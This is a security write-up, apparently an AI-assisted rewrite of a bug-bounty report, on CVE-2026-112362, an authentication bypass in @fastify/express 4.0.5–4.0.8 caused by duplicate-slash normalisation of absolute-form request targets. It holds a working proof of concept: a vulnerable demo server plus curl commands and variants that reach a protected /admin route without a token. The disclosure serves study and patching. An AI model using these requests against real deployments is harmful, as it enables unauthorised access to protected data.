Skip to content
Access control Write-up Advanced

**CVE-2026–112362: Authentication Bypass in @fastify/express via Absolute-Form Request Targets**

A URL normalisation flaw in @fastify/express collapsed the double slash after the scheme in absolute-form request targets, so Express path-scoped middleware no longer matched while Fastify's router still resolved the route. An unauthenticated attacker could therefore reach routes protected only by Express middleware such as an /admin auth check.

Ajith Prabhu Follow

Published on medium.com

Bug Bounty

Ajith Prabhu, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

@fastify/express is the plugin that lets a Fastify application mount Express middleware and routes. A common pattern is to protect a group of routes with path-scoped Express middleware, for example app.use('/admin', authMiddleware), while the actual handlers are registered as Fastify routes.

The vulnerability affects @fastify/express versions 4.0.5 through 4.0.8. A URL normalization issue lets an unauthenticated request skip path-scoped Express middleware while Fastify still routes the request to the intended endpoint. The issue is tracked as CVE-2026-112362 and GHSA-6h42-57hq-9746.

The bug lives in the URL normalization logic that was introduced in @fastify/express as part of the fix for GHSA-6hw5-45gm-fj88 (CVE-2026-33808).

Setup

The researcher reproduced the issue with the following environment:

Component Version
@fastify/express 4.0.8
fastify 5.12.5
express 5.3.0
Node.js 22.23.3

Dependencies are installed with:

Bash
npm install fastify@5 @fastify/[redacted]

The attack requires Fastify to be configured with ignoreDuplicateSlashes enabled, and a deployment path that does not rewrite absolute-form targets to origin-form. The deprecated top-level ignoreDuplicateSlashes option can also enable the behaviour.

Finding it

The starting point is the enhanceRequest() function in index.js, which modifies the incoming request URL:

JavaScript
const { url } = req.rawconst decodedUrl = decodeURI(url)const normalizedUrl = normalizeUrl(decodedUrl, {  ignoreDuplicateSlashes,  useSemicolonDelimiter})req.raw.url = normalizedUrl

When ignoreDuplicateSlashes is enabled, the normalization function eventually calls removeDuplicateSlashes():

JavaScript
function removeDuplicateSlashes (path) {  return path.replace(/\/{2,}/g, '/')}

This removes consecutive slashes throughout the whole URL. That is fine for a normal origin-form path, but it becomes a problem when the request uses an absolute-form request-target, because the // after the scheme is also collapsed.

Exploitation

Step 1: Build a vulnerable server

Create server.js:

JavaScript
const fastify = require('fastify')({  routerOptions: {    ignoreDuplicateSlashes: true  }})async function start () {  await fastify.register(require('@fastify/express'))    fastify.use('/admin', (req, res, next) => {    if (req.headers.authorization !== 'Bearer admin-secret-token') {      res.statusCode = 403      res.setHeader('content-type', 'application/json')      return res.end(JSON.stringify({        error: 'Forbidden by Express middleware'      }))    }    next()  })  fastify.get('/admin/dashboard', async () => ({    secret: 'sensitive-admin-data'  }))  await fastify.listen({    port: 3000,    host: '[redacted]'  })}start()

The server enables ignoreDuplicateSlashes in routerOptions, mounts an Express middleware on /admin that returns 403 unless the Authorization header equals Bearer admin-secret-token, and registers a Fastify route at /admin/dashboard that returns sensitive data. Start it with:

Bash
node server.js

Step 2: Confirm the middleware works with an origin-form request

Bash
curl -s --request-target /admin/dashboard \  http://[redacted]:3000/

Response:

JSON
{  "error": "Forbidden by Express middleware"}

The middleware correctly blocks the unauthenticated request. A request with duplicate leading slashes is also blocked.

Step 3: Send an absolute-form request-target

According to RFC 9112, section 3.2.2, HTTP clients can use absolute-form request-targets:

HTTP
GET http://localhost/admin/dashboard HTTP/1.1Host: localhost

Unlike the usual origin-form request-target:

HTTP
GET /admin/dashboard HTTP/1.1Host: localhost

The absolute-form request-target contains a URL scheme followed by ://. With ignoreDuplicateSlashes enabled, @fastify/express applies duplicate-slash normalization to the entire request URL. The transformation looks like this:

Text
Original request URL:http://localhost/admin/dashboard
Text
After removeDuplicateSlashes():http:/localhost/admin/dashboard

The two slashes following http: have been collapsed into one. Send the absolute-form request-target with curl:

Bash
curl -s --request-target http://localhost/admin/dashboard \  http://[redacted]:3000/

Response:

JSON
{  "secret": "sensitive-admin-data"}

The request reaches the protected Fastify route without the expected authorization header. This is the authentication bypass.

Step 4: Repeat with duplicate slashes in the path

The same behaviour can be reproduced with another absolute-form request-target containing duplicate slashes in the path:

Bash
curl -s --request-target http://evil//admin/dashboard \  http://[redacted]:3000/

The request still reaches the protected route.

Step 5: Additional variants

The researcher also verified that the bypass works with:

  • Uppercase URL schemes (HTTP://).
  • URLs containing user information (https://u@x/...).
  • Routes registered inside prefixed child plugins.
  • Parametric routes.

Disabling ignoreDuplicateSlashes prevents the demonstrated bypass. With the default configuration, the absolute-form URL remains intact, Express recognizes it correctly, and the authentication middleware executes.

Root cause

Express uses parseurl to interpret the request URL when evaluating path-scoped middleware. After normalization, the URL is no longer recognised as an absolute URL and is interpreted as a relative path. Middleware registered for /admin therefore does not match the request. Meanwhile, Fastify's router (find-my-way) handles the absolute-form request-target and still resolves the request to /admin/dashboard.

The sequence is:

  1. The attacker sends an absolute-form HTTP request-target.
  2. @fastify/express normalizes the request URL because ignoreDuplicateSlashes is enabled.
  3. The // following the URL scheme is collapsed into /.
  4. Express no longer recognizes the URL as an absolute URL when evaluating its path-scoped middleware.
  5. The /admin authentication middleware is skipped.
  6. Fastify's router still resolves the request to /admin/dashboard.
  7. The protected route executes without authentication.

This is an interpretation inconsistency between the middleware layer and the router, not a broken authentication middleware. There is a precedent: @fastify/middie addressed the same class of issue by resolving absolute-form request-targets to their path before middleware matching (GHSA-hx87-8wv7-pjv8). @fastify/express does not perform an equivalent normalization step before evaluating path-scoped middleware.

Impact

The vulnerability can result in an authentication and authorization bypass. Applications using @fastify/express with routerOptions.ignoreDuplicateSlashes: true are potentially affected if they rely on path-scoped Express middleware for access control, for example:

JavaScript
app.use('/admin', authMiddleware)

If an application relies exclusively on this middleware to protect administrative endpoints, an unauthenticated remote attacker may be able to bypass the protection using an absolute-form request-target. Depending on the application's exposed routes and their functionality, this could allow unauthorized access to sensitive information or operations. The application may appear to have correctly configured authentication middleware while certain HTTP request-target formats bypass it entirely.

The attack requires the specific configuration shown above. Applications using the default configuration are not affected by this demonstrated attack. Deployments behind reverse proxies that rewrite incoming requests to origin-form before forwarding them to the Fastify application, such as a typical Nginx proxy_pass configuration, are not exploitable through that proxy using this technique.

Fix

The report does not describe the code change made in the advisory. Disabling ignoreDuplicateSlashes prevents the demonstrated bypass; with the default configuration the absolute-form URL remains intact, Express recognizes it correctly, and the authentication middleware executes. The precedent from @fastify/middie suggests the equivalent fix is to resolve absolute-form request-targets to their path before middleware matching, but the report does not state that this was the change applied.

Variants to test

  • Uppercase schemes. Send HTTP://host/admin/dashboard as the request-target. A positive result is the protected route returning its data without the middleware running.
  • User information in the URL. Send https://u@x/... style targets. A positive result is the same bypass.
  • Prefixed child plugins. Register the protected routes inside a prefixed child plugin and repeat the absolute-form request. A positive result is the route executing without the middleware.
  • Parametric routes. Repeat against routes with parameters. A positive result is the handler executing without the middleware.
  • Duplicate slashes in the path. Send http://evil//admin/dashboard. A positive result is the protected route still being reached.
  • Proxy behaviour. Check whether the front proxy rewrites absolute-form targets to origin-form before forwarding. If it does, the technique will not work through that proxy; if it forwards the target unchanged, the bypass may still apply.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A small piece of software called @fastify/express had a bug that let someone open a protected page on a website without logging in. The protected page was supposed to be guarded by a check that asks for a password-like token. By sending the web request in an unusual but perfectly legal format, an attacker could make the guard look at the request, decide it was not for the protected area, and step aside, while the part of the software that actually delivers the page still sent the secret data back.

The bug is tracked as CVE-2026-112362 and GHSA-6h42-57hq-9746. It affects @fastify/express versions 4.0.5 through 4.0.8. It happens when the application is set up with a particular option switched on, called ignoreDuplicateSlashes, and the request reaches it without a proxy rewriting the target to origin-form. Applications using the default setup are not affected by this attack.

Before going further, a few words about the pieces involved, because the whole story is about two pieces of software reading the same request differently.

  • Fastify is a framework for building web servers in JavaScript (running on Node.js). Think of it as the reception desk of a building: it takes incoming requests and sends each one to the right room (the right piece of code).
  • Express is another, older framework for the same job. It is famous for its middleware: small functions that run before the final handler. A middleware can check a password, log the request, or block it. Think of middleware as a security guard standing in a corridor.
  • @fastify/express is a plugin that lets a Fastify application use Express middleware. In practice this means a Fastify server can have Express guards standing in its corridors.
  • An API (application programming interface) is the set of URLs a server exposes so other software can talk to it. When you open a page in a browser, or when a program calls a URL, it is making a request to an API endpoint.
  • An endpoint is one specific URL on that server, for example /admin/dashboard.
  • A token is a long random string that proves who you are, a bit like a wristband at a festival: show the right wristband and you get in. Here the token travels in an HTTP header called Authorization.
  • A header is a small labelled line of extra information sent with every web request or response, such as Host: localhost or Authorization: Bearer ....
  • Authentication means proving who you are. Authorisation means being allowed to do something. An authentication bypass is when someone gets past the identity check without proving anything.
  • Middleware here means a function that runs before the real page code and can stop the request. A path-scoped middleware is one that only applies to URLs starting with a certain path, such as /admin.

The pattern that broke is very common: the guard is attached to /admin with Express, and the actual pages under /admin are served by Fastify. The guard and the page-delivery code are two different programs sharing one request, and they disagreed about what the request was asking for.

The vulnerable code

The bug was not there from the beginning. It was introduced by an earlier fix for a different security problem, GHSA-6hw5-45gm-fj88 (CVE-2026-33808). That fix added code to tidy up incoming URLs. Tidying URLs sounds harmless, but it changed the meaning of some requests.

The tidying happens in a function called enhanceRequest() inside index.js:

JavaScript
const { url } = req.rawconst decodedUrl = decodeURI(url)const normalizedUrl = normalizeUrl(decodedUrl, {  ignoreDuplicateSlashes,  useSemicolonDelimiter})req.raw.url = normalizedUrl

Line by line, in plain words:

  1. const { url } = req.raw takes the raw URL text out of the incoming request, exactly as the client sent it.
  2. const decodedUrl = decodeURI(url) turns any percent-encoded characters (things like %20 for a space) back into normal characters, so the URL can be inspected in readable form.
  3. const normalizedUrl = normalizeUrl(decodedUrl, { ... }) passes that URL through a tidying function, with two options: ignoreDuplicateSlashes and useSemicolonDelimiter. The first option is the one that matters here.
  4. req.raw.url = normalizedUrl writes the tidied URL back into the request, replacing what the client actually sent. From this point on, everything downstream sees the tidied version, not the original.

When ignoreDuplicateSlashes is switched on, the tidying function eventually calls a small helper called removeDuplicateSlashes():

JavaScript
function removeDuplicateSlashes (path) {  return path.replace(/\/{2,}/g, '/')}

Line by line:

  1. The function receives a piece of text, here called path.
  2. path.replace(/\/{2,}/g, '/') searches that text for any run of two or more slashes in a row (that is what the pattern \/{2,} means) and replaces each run with a single slash. The g at the end means "do this everywhere in the text, not just the first time".
  3. The cleaned text is returned.

For a normal URL path such as /admin//dashboard, collapsing // into / is exactly what you want, because /admin//dashboard and /admin/dashboard should mean the same page. The trouble starts when the URL is not a plain path but a full URL, because a full URL contains // right after the scheme, as in http://. That // is not a duplicate slash to be tidied away; it is part of the address, like the // in https://example.com. Removing it changes what the text means.

How the bypass works

HTTP, the language browsers and servers speak, allows a request to name its target in more than one way. The usual way is the origin-form: just the path, starting with a slash. RFC 9112, section 3.2.2, also allows the absolute-form: the full URL, including http:// and the host name. Both are legal.

Absolute-form looks like this:

HTTP
GET http://localhost/admin/dashboard HTTP/1.1Host: localhost

Origin-form looks like this:

HTTP
GET /admin/dashboard HTTP/1.1Host: localhost

In both cases the first line says "GET" (please give me this), then the target, then the HTTP version. The second line is the Host header, which names the server. The only difference is whether the target is a bare path or a full URL.

Now put the two facts together. The request target is a full URL, and ignoreDuplicateSlashes is on, so the tidying code runs over the whole thing:

Text
Original request URL:http://localhost/admin/dashboard
Text
After removeDuplicateSlashes():http:/localhost/admin/dashboard

The // after http: has become a single /. The text now reads http:/localhost/..., which is not a valid full URL any more. It looks like a relative path that happens to start with the word http:.

That is where the two programs disagree. Express uses a small library called parseurl to work out the path of a request when deciding whether a path-scoped middleware applies. Given the mangled text, parseurl no longer sees a full URL; it sees a relative path that does not begin with /admin. So the guard registered for /admin decides the request is not for its corridor and lets it pass untouched. Fastify's router, a library called find-my-way, looks at the request target differently and still works out that the request is for /admin/dashboard. It delivers the page. The guard never ran.

The important point is that the guard itself was not broken. It did its job correctly on the text it was given. The problem is that two parts of the same server were given different understandings of the same request.

Reproducing the issue

The researcher rebuilt the problem on a local machine. The environment was:

Component Version
@fastify/express 4.0.8
fastify 5.12.5
express 5.3.0
Node.js 22.23.3

Node.js is the program that runs JavaScript outside a browser; Fastify, Express and the plugin are all JavaScript packages that run on top of it. The packages are installed with npm, the Node package manager:

Bash
npm install fastify@5 @fastify/[redacted]

This downloads Fastify version 5 and @fastify/express version 4.0.8 into the project folder, so the code can be run locally.

Building a small vulnerable server

A file called server.js is created:

JavaScript
const fastify = require('fastify')({  routerOptions: {    ignoreDuplicateSlashes: true  }})async function start () {  await fastify.register(require('@fastify/express'))    fastify.use('/admin', (req, res, next) => {    if (req.headers.authorization !== 'Bearer admin-secret-token') {      res.statusCode = 403      res.setHeader('content-type', 'application/json')      return res.end(JSON.stringify({        error: 'Forbidden by Express middleware'      }))    }    next()  })  fastify.get('/admin/dashboard', async () => ({    secret: 'sensitive-admin-data'  }))  await fastify.listen({    port: 3000,    host: '[redacted]'  })}start()

Line by line:

  1. const fastify = require('fastify')({ ... }) loads the Fastify library and creates a server, passing in settings. The setting routerOptions: { ignoreDuplicateSlashes: true } switches on the URL tidying that causes the bug. This is the precondition for the whole attack.
  2. async function start () { begins a function that sets everything up. async means it can wait for slow steps such as starting the network listener.
  3. await fastify.register(require('@fastify/express')) plugs the Express compatibility layer into Fastify, so Express-style middleware can be used.
  4. fastify.use('/admin', (req, res, next) => { ... }) attaches a guard to every URL under /admin. The function receives the request (req), the response (res) and a next function that means "you may continue".
  5. if (req.headers.authorization !== 'Bearer admin-secret-token') checks whether the request carries the expected Authorization header. The expected value is the word Bearer followed by a space and a fixed token. If the header is missing or different, the condition is true.
  6. res.statusCode = 403 sets the reply status to 403, which means "forbidden".
  7. res.setHeader('content-type', 'application/json') tells the client the reply is JSON, a common text format for structured data.
  8. return res.end(JSON.stringify({ error: 'Forbidden by Express middleware' })) sends a small JSON error message and stops. The return matters: it prevents the request from going any further.
  9. next() runs only when the header was correct, letting the request continue to the real page.
  10. fastify.get('/admin/dashboard', async () => ({ secret: 'sensitive-admin-data' })) registers the protected page itself. Anyone who reaches it gets back a JSON object containing the secret. This is the data the guard is supposed to protect.
  11. await fastify.listen({ port: 3000, host: '[redacted]' }) starts the server on port 3000 of the local machine. [redacted] is the address a computer uses to talk to itself, so nothing is exposed to the internet.
  12. start() calls the function so the server actually starts.

The server is started with:

Bash
node server.js

This tells Node.js to run the file. The terminal will keep running until the server is stopped.

Step 1: check that the guard works normally

First, a normal request is sent with curl, a command-line tool for making web requests:

Bash
curl -s --request-target /admin/dashboard \  http://[redacted]:3000/

Line by line:

  1. curl is the tool being run.
  2. -s means silent: do not print progress information, only the reply.
  3. --request-target /admin/dashboard tells curl to put exactly /admin/dashboard on the request line, instead of the path it would normally build. This is how the researcher controls the request target precisely.
  4. http://[redacted]:3000/ is the address to connect to: this machine, port 3000.

The reply is:

JSON
{  "error": "Forbidden by Express middleware"}

This is the guard doing its job. No token was sent, so the guard answered 403 and the secret never appeared. A request with duplicate leading slashes is also blocked, which shows that the tidying feature behaves as intended for ordinary paths.

Step 2: send the unusual request format

Now the same request is sent, but with the target written as a full URL:

Bash
curl -s --request-target http://localhost/admin/dashboard \  http://[redacted]:3000/

Line by line:

  1. curl -s is the same silent tool.
  2. --request-target http://localhost/admin/dashboard puts a full URL on the request line instead of a bare path. This is the absolute-form target. localhost is just a name for this same machine.
  3. http://[redacted]:3000/ is still where curl connects.

The reply is:

JSON
{  "secret": "sensitive-admin-data"}

That is the bypass. The request carried no Authorization header, the guard should have answered 403, and instead the protected page returned its secret. The guard was skipped because the tidied URL no longer looked like it belonged to /admin, while Fastify still routed the request to /admin/dashboard.

Step 3: the same trick with duplicate slashes in the path

The bypass also works when the full URL contains duplicate slashes in the path:

Bash
curl -s --request-target http://evil//admin/dashboard \  http://[redacted]:3000/

Line by line:

  1. curl -s is the same tool.
  2. --request-target http://evil//admin/dashboard sends a full URL whose host is evil and whose path contains // before admin. The host name is irrelevant to the local server; what matters is the shape of the target.
  3. http://[redacted]:3000/ is still the address curl connects to.

The request still reaches the protected route.

Step 4: other variations that also worked

The researcher also confirmed the bypass with:

  • Uppercase URL schemes, such as HTTP:// instead of http://.
  • URLs that contain user information, in the form https://u@x/....
  • Routes registered inside prefixed child plugins, which are groups of routes mounted under a common prefix.
  • Parametric routes, which are routes whose path contains a placeholder that matches many values.

And the reverse is just as important: switching ignoreDuplicateSlashes off stops the attack. With the default configuration the full URL is left intact, Express recognises it correctly, and the guard runs as it should.

Why this happens

The whole thing comes down to two different readings of one request. The sequence is:

  1. The attacker sends an HTTP request whose target is a full URL (absolute-form).
  2. @fastify/express tidies the request URL because ignoreDuplicateSlashes is switched on.
  3. The // after the URL scheme is collapsed into a single /.
  4. Express no longer recognises the URL as a full URL when it checks its path-scoped middleware.
  5. The /admin guard is skipped.
  6. Fastify's router still works out that the request is for /admin/dashboard.
  7. The protected page runs without authentication.

This is an inconsistency between how the middleware layer and the router interpret the same request. The guard is not faulty; it is being shown a different request from the one the router acts on.

There is a precedent. Another plugin, @fastify/middie, had the same class of problem and dealt with it by reducing full-URL request targets to their path before matching middleware (GHSA-hx87-8wv7-pjv8). @fastify/express does not do that equivalent step before checking its path-scoped middleware.

Impact

The result is an authentication and authorisation bypass. Applications that use @fastify/express with routerOptions.ignoreDuplicateSlashes: true and rely on path-scoped Express middleware for access control are potentially affected. The typical pattern is:

JavaScript
app.use('/admin', authMiddleware)

Line by line:

  1. app.use attaches a middleware to the application.
  2. '/admin' limits it to URLs under /admin.
  3. authMiddleware is the guard function that checks identity.

If an application relies only on this guard to protect administrative pages, an unauthenticated attacker on the network may be able to get past it with a full-URL request target. Depending on which routes are exposed and what they do, that could mean unauthorised access to sensitive information or operations. The dangerous part is that the application can look correctly protected: the guard is configured, it works for ordinary requests, and yet certain request formats slip past it entirely.

The attack needs the specific configuration shown earlier. Applications on the default configuration are not affected by this demonstrated attack. Deployments behind a reverse proxy that rewrites incoming requests to origin-form before forwarding them to the Fastify application, such as a typical Nginx proxy_pass configuration, are not exploitable through that proxy using this technique. A reverse proxy is a server that sits in front of the application and forwards requests to it; if it normalises the target on the way through, the trick never reaches the vulnerable code.

Fix

The report does not describe the code change made in the advisory. Switching ignoreDuplicateSlashes off prevents the demonstrated bypass: with the default configuration the full URL stays intact, Express recognises it correctly, and the guard runs. The precedent from @fastify/middie suggests the equivalent fix is to reduce full-URL request targets to their path before matching middleware, but the report does not state that this was the change applied.

Timeline

  • October 13, 2026: the issue was reported.
  • October 17, 2026: the issue was accepted.
  • October 19, 2026: a CVE identifier was reserved.
  • October 27, 2026: GitHub Security Advisory GHSA-6h42-57hq-9746 was published and CVE-2026-112362 was assigned.
  • October 27, 2026: the vulnerability was publicly disclosed.
  • November 4, 2026: the CVE record was updated.
  • November 24, 2026: this write-up was published.

References

  • CVE-2026-112362
  • GHSA-6h42-57hq-9746, the @fastify/express security advisory
  • GHSA-6hw5-45gm-fj88, the earlier @fastify/express vulnerability (CVE-2026-33808)
  • GHSA-hx87-8wv7-pjv8, the related @fastify/middie vulnerability
  • RFC 9112, HTTP/1.1, section 3.2.2
  • The vulnerable @fastify/express implementation, version 4.0.8

Glossary

  • Absolute-form request-target: a request line that names the target as a full URL, including scheme and host, for example http://localhost/admin/dashboard.
  • API: the set of URLs and rules a server exposes so other software can talk to it.
  • Authentication: proving who you are, usually with a password or token.
  • Authentication bypass: getting past an identity check without proving anything.
  • Authorisation: being allowed to perform an action once you are identified.
  • CVE: a public identifier for a known security vulnerability.
  • curl: a command-line tool for sending web requests.
  • Endpoint: one specific URL on a server, such as /admin/dashboard.
  • Express: a JavaScript web framework known for middleware.
  • Fastify: a JavaScript web framework that routes requests to handlers.
  • @fastify/express: a plugin that lets a Fastify application use Express middleware.
  • @fastify/middie: another Fastify plugin for Express-style middleware, which had a related issue.
  • find-my-way: the routing library Fastify uses to decide which handler a request goes to.
  • GHSA: a GitHub Security Advisory, a public notice about a vulnerability in an open-source project.
  • Header: a labelled line of extra information sent with a web request or response, such as Authorization or Host.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • JSON: a common text format for structured data, using curly braces and quoted names.
  • Middleware: a function that runs before the final handler and can inspect, change or block a request.
  • Node.js: the program that runs JavaScript outside a browser.
  • npm: the package manager that installs JavaScript libraries.
  • Origin-form request-target: a request line that names the target as a bare path, for example /admin/dashboard.
  • parseurl: the library Express uses to work out the path of a request.
  • Path-scoped middleware: middleware that only applies to URLs under a certain path, such as /admin.
  • Reverse proxy: a server in front of an application that forwards requests to it, sometimes rewriting them on the way.
  • RFC 9112: the document that defines HTTP/1.1, including the allowed request-target forms.
  • Router: the part of a framework that decides which handler a request goes to.
  • Token: a long random string used to prove identity, sent here in the Authorization header.
  • URL normalisation: tidying a URL into a standard form, for example collapsing duplicate slashes.

More by Ajith Prabhu

View all

2 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.